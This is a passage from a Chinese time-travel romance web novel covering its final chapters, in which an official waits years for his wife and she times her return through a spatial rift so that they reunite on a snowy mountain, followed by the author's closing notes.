待他走后,安和帝向从后方走出来的皇后甩袖长叹:“你也听见了,我看这位安夫人大概真如传言那般意外身故了,左时珩情伤太深,脑子都不清醒了,不发丧不吊唁,只当她还活着,整日活在梦里呢。” 皇后也不由叹了口气,目露哀色。 “左大人与夫人少年夫妻,情深至极,岂能不伤?听说去岁大病一场,直到三月才好,今日一见,果真清瘦许多,想必若非这样欺骗自己,连一时一刻也难支撑,幸好安夫人还留下两个幼子,倒也是一份念想。” “那那个云水山又是怎么回事?就算是招魂,怎么跑到山里?” “许是……许是安夫人就是在云水山出的事……” 皇帝缄默半晌,摇头:“罢了,他的家事朕不再过问,但左时珩是朝廷不可或缺的人才,他必须珍重自身,不可懈怠公务。” 他步至案后坐下,想了想:“让太医院那个胡自厚还是隔三差五就去一趟,要什么补品只管向内廷说一声。” 皇后笑道:“皇上不愧是臣民君父,宅心仁厚。” 皇帝坦然受下了这句赞美,心情大好,摊开一幅字给她:“你来瞧瞧,我这几个字写得如何?方才都忘了向左卿请教了。”- 左时珩有时下值很晚,到家已过亥时,他洗漱后还要去书房再忙一会儿。 岁岁与阿序没去睡觉,竟都在书房等他。 岁岁倦卧在书房榻上,抱着小狗布偶缩成小小一团。 阿序则小大人般坐在他的椅子上看书,脚都够不着地。 见他进来,阿序便蹦下来,开心朝他迎过去。 左时珩温柔地摸摸儿子的头,问:“怎么还不去睡?” 阿序说:“今天本来是我跟爹爹一起睡的,但是妹妹哭了,她想娘亲,也想爹爹,我就和她一起在这里等爹爹回来。” 说着眼已红了,垂下眼睫,小声问:“爹爹,娘亲到底什么时候回来呢?我也想娘亲了。” 左时珩心间似塌了一角,蹲下将他拥入怀中。 “娘亲会说话算话的,或许是安和九年,或许更早……爹爹会一直去接,直到将娘亲接回来。” 阿序搂住他脖子:“爹爹,下次也带我去吧。” “山中危险,不便带你们去,但娘亲若回来,一定第一时间就要见你们了。” 阿序乖乖“嗯”了声。 左时珩轻拍他:“去睡吧,娘亲在信里和你们说过对吗?小孩子要早睡才能长高。” “好的。”阿序点头,“那今天妹妹跟爹爹一起睡吧,她一个人害怕。” “阿序已经像一个哥哥了。” 左时珩笑了笑,走过去弯腰将岁岁抱入怀中,放到卧房床上,盖好被子,又回了书房办公。 直到夜深人静,他才停笔,疲惫地揉了揉手腕。 快到子时了。 左时珩不疾不徐地起了身,去装信的木箱中取一封信,坐到案后细细地读,眼中倦意淡去,只有温柔浅笑。 她的信或长或短,总是很有趣。 她有许多奇思妙想,无数可爱之处,他想,他哪怕穷尽一生也不能感受完。 时至今日,他已读完四十几封。 每每等下一封期间,他总要反复再看几遍,纵然倒背如流,仍常读常新。 她偶尔会在信中给他留下一道难题,或布置一个任务,让他写在回信里,可他的回信亦有说不完的话,读完一封,便要回两三封给她。 他想,她若回来见到那一大箱子的信,只怕会震惊许久,然后瞪着圆圆的杏眸问:“左时珩,你居然有那么多话说?!” 光是想想,他的唇角便要扬起弧度。 他几乎迫不及待地想见她拆信时的可爱模样了,他平日不宣之于口的情愫,已毫无保留地凝落于笔下。 …… 安和六年。 左时珩接到调令前去敦川督造河堤修建,临行前,永国公府老夫人派了身边大丫鬟来,将岁岁接去了。 在此之前,老夫人就数次想接了岁岁养在身边,毕竟左时珩公务繁忙,女孩又应该在母亲身边长大。 左时珩也认可,但岁岁不愿。 她已懂事,舍不得爹爹,但凡爹爹在家,总要在爹爹身边呆着,会在他劳累时给他端来茶水,也会爬到他怀里给他捏肩,十分贴心。 她最喜欢的是读娘亲留下的信,然后与爹爹分享。 “娘亲今天教我折了一只小兔子。” “娘亲跟我说她小时候也不爱吃饭,就喜欢偷偷吃零食,爹爹不能说我。” “娘亲说她以前放的是自己做的塑料风筝,爹爹,塑料是什么?” 左时珩神情柔和,耐心答道:“爹爹也不知道,等娘亲回来,我们一起问她怎么样?” 岁岁:“好!” 后来岁岁愿意去永国公府了,她说老夫人对她很好,还有个哥哥陪她一起玩,她也很喜欢新来的那个先生,她弹琴特别好听。 左时珩揉揉女儿柔软的发:“那爹爹回来时,去接你好不好?” 岁岁抱住他,眼泪大颗落下来:“我会在那里乖乖的,爹爹不要担心我,但是爹爹要早点回来接我。” 左时珩眼尾微红,应:“好,爹爹一定早点回来。” 穆诗陪着岁岁去了永国公府后,阿序也被他送去了书院读书。 弘文阁刘良大学士致仕后,在桐花巷办了一家书院,还特意请他题了字。 刘大学士曾是他那届会试主考,名义上也算是他的老师,还出过几届试题,可谓满腹经纶,德高望重。 他办的书院,京中达官显贵们都争相将族中子弟送去。 左时珩原想着阿序还太小了,毕竟松下书院是正规私塾,与永国公府不同,他有些不大放心。 但他若不在,以阿序如今的读书进度,这一年恐怕要耽误下来,思来想去,还是送了阿序过去,只是少不得恳请刘山长在生活方面多多关照,欠下一个人情。 不过事不由人,左时珩以为他去敦川一趟,最多两月即回,谁知事情堪堪结束,便接到紧急调令,让他赶去疆北。 良俞山一带乃重要军事关隘,突发了场地震,城墙倾塌,堡垒损毁,军民皆死伤无数。 以防外敌入侵,朝廷紧急调了驻军赶去防守,左时珩也接令前往,协助当地府衙督造灾后重建修缮事宜,务必赶在入冬之前完成工事。 疆北甚远,位于高原,他沿河而上,又换马,又徒步,紧赶慢赶,一路不停,用了十数日才到。 抵达时正是黄昏,满目山石碎块,被染成灰蒙蒙的颜色,进城的路才勉强清理出来,处处搭着粥棚,挤满了无家可归的人,哭声不断,哀鸿遍野。 那一瞬间,左时珩似乎回到了少年时,自身那一段经历。 他夙夜忧虑,宵衣旰食,深入废墟,不敢懈怠,即便身体不适,也依旧带病坚持,只是到了晚上,常头疼欲裂到难以入睡。 最终,于七八日后一次监察中忽然昏倒,被人抬到后方,才勉强休息了一日。 如此这般,离开良俞山时,已是秋末。 回程路上他身体虚弱到不得不屡次停下休养,才有精力维系赶路。 路过敦川,他特意又去看了眼上半年的河堤工程,已在汛期前全部完工,验收通过。 那时随行官员陪他走在长堤上,两侧垂柳枯枝,寒风卷雪,别有萧瑟凄清之感。 官员脸上冻得通红,却满是喜色,连连感激左大人指导,说今年汛期无恙,长堤坚固,良田丰收,还得了朝廷嘉奖。 左时珩裹紧斗篷,低咳了两声,笑道:“是你们负责,不是我的功劳。” “大人事事亲力亲为,岂能没有功劳,实在谦逊太过。”官员笑了笑,又道,“对了,上次大人托我在官窑烧制一套瓷器,已出窑许久,稍候我会派人送去大人驿所。” 左时珩难得有些不好意思,点了点头。 “我回程过来,也是为了此事,实在是麻烦大人。” 官窑皆有定数,都供向内廷,为皇家赏赐之物,虽说其中私利也有,但左时珩却是甚少这样滥权的人。 上回从靖州商户手中购得的白瓷茶具已是上品,但官窑白瓷却更是细腻无双,故而考量一番,他到底选择了私心。 小雪飘若柳絮,无风自起。 两人驻足而立,久久无言。 大河一道,长堤两线,远望之,唯河上一人一舟,一点而已。 官员忽然感慨道:“又要过年了。” 左时珩眸色微黯,脸上薄薄血色褪去。 是啊,又要过年了。 …… 安和七年,苏大人正式辞官回乡,左时珩升任了工部尚书一职,成了在朝最年轻的二品大员。 丘朝的一品乃是虚职,不过荣誉头衔而已,因此,做官做到左时珩这个位置,已是顶了天了。 他不过二十七岁。 人人对此或惊叹,或羡慕,或崇敬,又或忌恨,左时珩本人倒不在意,一如往常,只是相比之前稍微轻松了些,多是批阅文书,而不用全国奔波。 期间倒有一事,他在给妻子的信中写道—— “先前读信,卿嘱吾骑马小心,若遇马惊,便要远离,切莫逞强驯服,以免有坠马之险。彼时未解深意,迨五月环陵之行,有运石马匹忽受惊脱缰,奔踏伤人,吾仓促之际,未及多思,飞身上马,忽忆卿言,遂伏身握绳,紧依马脊,任其奔突,颠簸虽剧,不至坠地,惟扭伤腕间经络而已,今已好全,不必担心。” …… 安和八年,张为是被提拔为工部侍郎,左时珩时间倒多了些,去云水山愈加频繁。 山中四季变换,总要迟人间一步。 他足迹遍布每一处,看过每一棵树,每一片叶,知晓每一条山溪的流向,与猎人和樵夫甚至都有了交情,歇脚时常为他留下干柴兽肉,作为感谢。 他到山中来不带什么,只有几件衣裳,一箱书,一套文具。 这里条件简陋,待的艰难,却让他仿佛离她更近,内心能稍稍缓解苦楚。 安和九年初,他再度病了一场。 安和八年除夕那夜,他整夜未眠,守着滴漏,等到天明,都没有见到妻子回来。 初一,初二,初三…… 直到正月过去,安声依然没有回来。 他不断地去云水山,在湿滑的积雪里漫山遍野地唤她。 回音不绝,却唯有飞鸟而已。 他回信时几乎提不住笔,数度落泪:“安和九年已至,卿尚未归,夜来惊梦,吾常觉魂若风中烛影,明灭欲散……” 病中恍惚,岁岁捧了信在床侧哭着读给他听,他才从大梦深处挣扎醒来,方觉春至。 一身病骨支离,他又去了云水山,时值三月,京中海棠已开,山中仍然落雪。 他在山中待了几日。 林中寒冷,野兽蛰伏,茫茫天地,似乎仅余他一人而立。 下山前日,他夜犯咳疾,起得稍晚,屋中冷得很,他披上斗篷出门而去,直至午时方回。 木门半掩,似有人影,他心以为是猎户,从容上前推开了门。 一缕天光映照,风雪吹动炭火。 他尚未看清情形,便有一人飞奔而来,如朝阳入怀,明媚温暖,滟滟生春。 “左时珩。” “我回来了。”—— 作者有话说:下章完结,会从安声视角完结这个故事,向大家请一天假,周日再更。 不过现在可以欢迎各位读者老师点播番外了[好的]有思路的都会写(未实名的朋友留言后台看不见,我可能得研究一下[小丑])《 》 【正文完】 第88章 尾声 八月,安声毅然离开家,去了天外山。 她给了自己几日告别时间,但不够,总是不够,多待一日不舍就更多一分。 她的时间本就不多了。 她又将那方奇石上曾见到的有效信息全部看了一遍,来捋清思路和逻辑。 她所推测出的不过如下信息: 一,安和四年到安和九年间,她随时有可能会被送回原先的世界,她大概会回到车祸节点,年龄重置,记忆重置,如果她没有爱意牵念的话,她的人生将不会再和丘朝有交集,会被送进医院,康复出院,再回到平淡如水的日常中去。 如此,安和九年的左时珩将再也等不到她。 但显然,她每次都选择了重来。 又或许,她能重来也不仅与执念有关,这块导致时空扭曲重叠的天外之石,也是关键。 但她不是科学家,她没有足够理论去支撑她探究石头对时空具体造成了怎样的影响以及原因,她只观察现象,总结规律。 二,因为那块同样不属于这个时空的陨石不会被这个时空重置,所以她在上面留下的信息也同样不会消失,只要她发现了这一点,她的每次“重来”就不再是简单的重复,而是一次次“试错”。 她个人只是时代长河中一朵微小的浪花,不会影响王朝更迭兴衰这类大事件,但她的努力却能改变自身的结果。 三,奇石附近会在某个时间点出现某种时空波动形成的场域,里面的时间流速被放缓了许多,她曾无意中进入过几次,瞬息之间,外界已过去许久。 可见,这个罅隙中的天地与丘朝所在的并非同一个世界,至于到底是佛教中的“世界三界”还是道教中的“山中洞天”,并不重要。 这个罅隙存在的作用是安声的“避难所”,她可以通过进入罅隙来躲避丘朝时空对她的“驱逐”。 最大的问题是,这五年太长,她要在罅隙中呆多久她不知道,而左时珩能等待的时间是极其有限的,他无法在失去她的痛苦中坚持太久。 显然,她曾经无数次走出罅隙的时间都不对,或早或晚,所以不断“重来”。 于是她将这些错误刻在石上,来提醒自己。 但是,石上的字不会消失却能被覆盖,被剥落,这些信息既不能完整也不能详细,零零碎碎地散落在石上,收集、整合、提炼,是一件极难之事。 人并不一定了解自己,在某时某刻一定会做什么,因此无数次重来中,她的想法也一直有所变化。 所以安声并不去细究一些细节,只判断一个大概,然后将重点放在时空流速的变化上,博求一个满意结果。 她第一次进入时空罅隙再出来,时间很短,她当时沉浸在石头的信息上,也没在当时就意识到这个问题,所以无法估算用了多久。 第二次,她在躲开那几位登徒子的骚扰中,无意走入罅隙,约有两分钟,出来后天已黑,她很快意识到了这点,外界过去了六个多小时。 但第三次她从半山腰再度回到立石殿,仅仅过去了五六分钟,出来却已是七天后。 这两次的经历无论是外面还是里面,安声都没有能精确计量时间的仪器,都是“大概多久”,也因为样本太少,更无法总结出规律。 显然,要靠两次的试错得出公式,是不可能的事。 最优解只能是排除,通过排除将选择框定在一个范围区间中。 幸运的是,她在不同的重来中,也得出过这个结论,因而在乱七八糟的刻字里,不断留下了“钟声”与“燃香”的提示。 她一开始没明白,后来发现,每一个关键信息附近,都有一个被缩小的范围。 譬如是“少于一小时”,“少于五十分钟”,“多于十五分钟”,“多于二十分钟”之类的。 这些也是用文字数字或别的符号留下的,如果不注意就看不见,而一旦发现就很清晰。 但这些区间也不是精确的,毕竟这里是古代,她很难按分钟来精确计时,尤其是在罅隙里,这个极小的退一步就能被扰动的空间。 在反复估算后,她得到个大概的论断,她想提前试试,以便将范围缩小到得更准确。 于是她在八月中秋后几天去了天外山,第一次主动地进入了罅隙。 在进入罅隙后,周围一切几乎不会发生变化,若不留心观察,几乎不会意识到时空出现了转换。 她发现,罅隙中光线会出现轻微扭曲或者模糊,但这些细节,在她没有这个意识之前,实在是太容易忽略了。 八月十九到年底有四个多月,她打算在罅隙中待十五分钟,如果出来后是年底之前,那说明她的思考方向是对的,她就更有一点把握。 选择十五分钟,是因为立石殿香案上一柱燃香的时间大概就是“十五分钟”。 麻烦在于,她无法保证自己恰好能在香刚点燃的那个点走入罅隙。 所以她还是要估算一部分。 譬如香已燃了一分钟,那么她在罅隙中等到香燃尽了,就要再多等一分钟才能出去。 但这一分钟不好计时,只能数数。 人在高度紧张的时候,对时间的感知也会丧失精确性,或快或慢,稍微一个分神,就会出现错误。 不过好在她算是成功了,她走出罅隙时,是除夕当日。 十五分钟多一点,外界过去了一百三十几天。 她匆匆返回左宅,只来得及见左时珩一面,陪他一晚,不敢在安和四年耽误太久,生怕世界毫无预兆地将她驱离,而她的下一次重来又不一定能掌握目前这些信息了。 来客寺每日都会响起一次钟声,有时是两次,逢年过节次数会更多,她在时空罅隙中,唯一能听见的,就是钟声。 钟声响起的次数在不同的时空流速下被压缩到非常频繁,某种情况下是一种干扰,但她发现铜钟被敲响到回音完全消失的时间,是一分钟。 这一分钟太短,所以无法像一炷香那样用来计时,但能够用来校准她在时空罅隙中对时间的感知。 但此事困难之处,在于无论她做了多少准备,依然很难确信自己成功。 将所有信息整合后,安声最后一次走入来客寺,她将所有的大殿神佛无一错漏的,全部拜了一遍,才走入立石殿中。 不信神佛,也求心安。 这次,她要在时空罅隙中,待四十分钟。 人不是机器,没有设定好的程序,当一个人的心里有太多事情与情绪后,很难做到冷静地,理智地,专注地,准确地,数完两千四百秒。 安声曾仰望着高大慈悲的佛像,想,如果除去一炷香的十五分钟,她最多只需要数一千五百秒,就能见到左时珩。 而左时珩却要用一千八百二十天,才能等到她。 她不敢失败,也不能失败。 从罅隙走出的那一日,天色微亮,殿中无人,寺中也仿佛没有人。 安声一颗心宛如闷在水底,无法喘息。 她匆匆忙忙地奔出去,直到山门前,才看见一个扫地的小僧人,打着哈欠一点点扫去阶上落叶。 晨曦中,她像一个鬼魅似的出现,气息急促,声音断断续续,打着颤,还隐约飘着哽咽。 “请问……今日是何年何月何日?” 小僧抬头惊出一身冷汗,才道:“是安和九年,三月二十二。” 安和九年三月…… 她恍惚半晌,又问:“你知道,左时珩吗?” 小僧见面前女子忽然垂泪,神色或喜或悲,有些不解,以为她是遇见什么难处,不过仍是答了话。 “你说得是朝廷的工部尚书左大人吗?认识,他曾来过我寺,小僧还与他说过几句话呢。” 他正要问安声有何事,她却道谢后狂奔下山,似一阵风,于山路转弯处消失不见了。 此时,一轮红日正缓缓从山后升起,将枯败的枝叶染上一层淡淡的金红,在那金红之下,则是积蓄了整个冬日的生命,正要发出嫩绿的新芽。 今天天气真好。 小僧展开笑,摇摇头,继续扫去枯叶。 安声下山时,天正好大亮,耳边响起悦耳鸟叫。 她飞速赁了马车一辆,出城往云水山去。 她有极为强烈的预感,左时珩正在云水山等她。 她不想先回家,她想和他一起回家。 路上她又问了车夫同样的问题。 车夫赞道:“左大人我当然知道,那可是个好官,就是听说身体不太好,病休过很多次。附近有条阳青河你知道吗?以前一上冻船就过不了,进城要绕老远的路,后来就是左大人给修了座桥,干了件大好事。” 安声坐在车内,笑意温柔。 马车只能停在云水山下,还有段路,安声一步不停,就往山上跑去。 曾经她随左时珩下山时,知道云水山的一条路,那也是左时珩修的,还有山中的小木屋,都方便了进山的樵夫与猎人。 时值三月,城外阳光和煦,道旁杨柳如烟,青草摇曳。 往山上去,便迟了人间一步,青黄交叠,寒意凝结未散。 直到接近山顶,竟开始飘起雪花。 安声已感觉不到寒冷,心跳得极快极快,耳膜发疼,一口气爬上了山,再次见到了那座山林深处的小木屋。 它伫立在寒风小雪中,如拢烟雾,静默无声。 安声跌跌撞撞,抽干最后一丝力气,上前敲门。 “左时珩!左时珩!” 门没有上锁,只是掩着,稍稍用力就被她推开了。 屋内安静得很,一个人也没有。 寒风扯着她的影子入内,一同不请自来的,还有三月的春雪。 安声深吸一口气,不可控地战栗起来。 她勉力支撑,步入屋内。 环顾四周,一切如旧。 不远处一张旧桌,两把竹椅,一个炭盆,而盆中炭火已冷,只剩灰烬。 冷意侵人,像是没有人来。 她再没有力气,摇摇晃晃几步,瘫坐到那把竹椅上,浑身发抖。 没关系,她对自己说,左时珩还在。 即便不在云水山,也在家中,等她休息好了,就下山找他。 只是此时此刻,她的精神与体力已消耗到极限,再没有站起来的力气了。 她仰靠在竹椅上,合起眸,一时百感交集,默默落泪。 她困得很,但不想睡,于是在睡意袭来时,转头看向窗外。 不知何时,雪已停了。 窗外漏下几缕阳光,融化着积雪,蒸腾着潮意,雾气便如丝带,在林间迤逦,碎金浮动。 真美啊。 这场雪应当是安和九年春天的最后一场雪了。 她有了些力气,在屋里转了一圈,见衣裳被褥收拾整齐,锅碗瓢盆洁净有序,不由更是心安。 于是她生起炭火,在屋里歇了半日,准备待外面暖和些,再下山离开。 约是午时,安声蓦然听见门外一阵沉稳的脚步声,踩着积雪不疾不徐地临近。 她转头望去,门轻轻开了。 左时珩站在阳光里。 (正文完)—— 作者有话说:故事到此完结啦,撒花[撒花] 从10.30到1.26,感谢大家的同行,希望你们喜欢这个故事,度过了一个温暖的冬天。 晋江很大,愿我们山水有相逢[烟花] — 番外能写的都会写,if线和完结之后点播的部分,则会放到福利番外里,欢迎大家阅读。 本来想说的很多,但是想想感觉故事完结而故事中的人仍在,告别的只是作者叙述的文字而已,留白的部分应当交给读者(以及还有很多对应的细节),所以欢迎你们积极表达自己的感悟与见解[好的] PS:下一本会写《小枕》,也欢迎感兴趣的朋友前去收藏[求你了]《 》